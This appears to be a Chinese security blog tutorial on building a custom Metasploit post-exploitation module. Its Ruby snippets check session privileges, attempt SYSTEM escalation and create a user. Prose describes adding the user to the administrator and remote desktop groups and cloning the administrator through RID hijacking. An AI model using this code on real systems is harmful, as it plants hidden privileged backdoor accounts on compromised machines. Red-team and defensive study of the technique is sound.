打造定制化的Metasploit—克隆用户

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

项目地址:Metasploit Modules

前言

在进行内网横向移动时,可以理解为后渗透过程,如何利用Metasploit打造后渗透模块,如何基于session进行操控?比如: 在当前会话上检查系统权限,或者添加用户等。最终解决实战中的需求:利用已获取session,创建登录账户,添加该账户到管理员与远程桌面组,并克隆administrator,从而替代clone.exe

编写后渗透模块

代码头部

仅需要在头部添加meterpreter会话的类型,该模块就可以在session上进行操控。

a38c3f0d2fdee99d22b06140c6cc96d5

检查会话权限

这里编写一个简单的模块,检查当前会话是否具有管理员权限,
引用lib/msf/core/post/windows/priv.rb中的is_admin?函数。

a3b4764792ff91c9d64e5a1c85d93ace

1
2
3
4
5
6
7
8
9
10
11
def run
# 检查会话的特权
print_status("Checking for SYSTEM privileges on session")

admin_check = is_admin?
if(admin_check)
print_good("\tCurrent User Is Admin")
else
print_error("\tCurrent User is Not Admin")
end
end

5d5f371dbda392f1ad8f0f9584f004f6

如果说权限不足,可以在当前session尝试提权,同时也是引用priv.rb。在Module options中可增加模块选项,进行设置。

1
2
3
4
register_options(
[
OptBool.new('GETSYSTEM', [true, 'Attempt to get SYSTEM privilege on the target host.', false]),
])

getsystemtrue时,运行如下定义:

1
2
3
4
5
6
7
8
def getsystem
results = session.priv.getsystem
if results[0]
return true
else
return false
end
end

61a66bcca215299246bdb033ba06a2d3

run主函数也可使用is_system?,对当前会话的系统权限检查。

61681e1917cf42c362d249c6689c7211

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def run
# 检查操作系统版本
wver = sysinfo["OS"]
print_status("Target OS: #{wver}")
# 检查会话的特权,并在需要时尝试获得系统特权。
print_status("Checking for SYSTEM privileges on session")
if !is_system?
if datastore['GETSYSTEM']
print_status("Trying to get SYSTEM privileges")
if getsystem
print_good("\tGet SYSTEM privileges")
else
print_error("Could not obtain SYSTEM privileges")
return
end
else
print_error("Session is not running with SYSTEM privileges. Try setting GETSYSTEM ")
return
end
else
print_good("\tSession is already running with SYSTEM privileges")
end

return nil
end

检查当前会话权限与尝试提权的完整Demo:

69697e8373e1e942aa8dc9b0c6d1cd0f

添加用户

以上一个简单的Demo已经实现了当前会话的权限检查,之后编写利用当前session创建用户,并且在未设置密码时,可随机设置8位密码,增加一些复杂度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def add_users
if datastore['PASSWORD'].nil?
# 创建随机8位密码
datastore['PASSWORD'] = Rex::Text.rand_text_alphanumeric(6) + Rex::Text.rand_text_numeric(2)
print_status("You have not set up a PASSWORD. The default is '#{datastore['PASSWORD']}'")
end
# 添加用户
if enum_user.include? datastore['USERNAME']
print_error("User '#{datastore['USERNAME']}' already exists.")
else
result = add_user(datastore['USERNAME'], datastore['PASSWORD'])
if result['return'] == 0
print_good "\tAdding User: #{datastore['USERNAME']} with Password: #{datastore['PASSWORD']}"
else
check_result(result)
end
end
end

a27953d945267f3de0078a081cf0f4a2

添加管理员与远程桌面组

创建完用户后,还需要将该用户添加管理员组,使该用户有更高的权限。并且在远程桌面时,可能也需要添加至远程桌面组。

该定义引用了post/windows/manage/enable_rdp部分代码。

78f72362f6149d490a42a80e0ccc608e

996e65e9f369fac5212036ff9306522a

克隆用户

这段代码的定义实际应用了Windows RID劫持技术,在实战中应用的更多的是Clone.exe,其原理大同小异。

4d6c82fb09dc98acf6fb71d756a6ecc3

Metasploit中的post/windows/manage/rid_hijack模块正是利用RID劫持技术实现了这一点。

最后,将以上讲述的代码与rid_hijack模块结合,便解决了文章开篇提出的实战需求:利用已获取session,创建登录账户,添加该账户到管理员与远程桌面组,并克隆administrator,从而替代clone.exe

1530e2d7ad9f97a42586615b2ef8c27a

References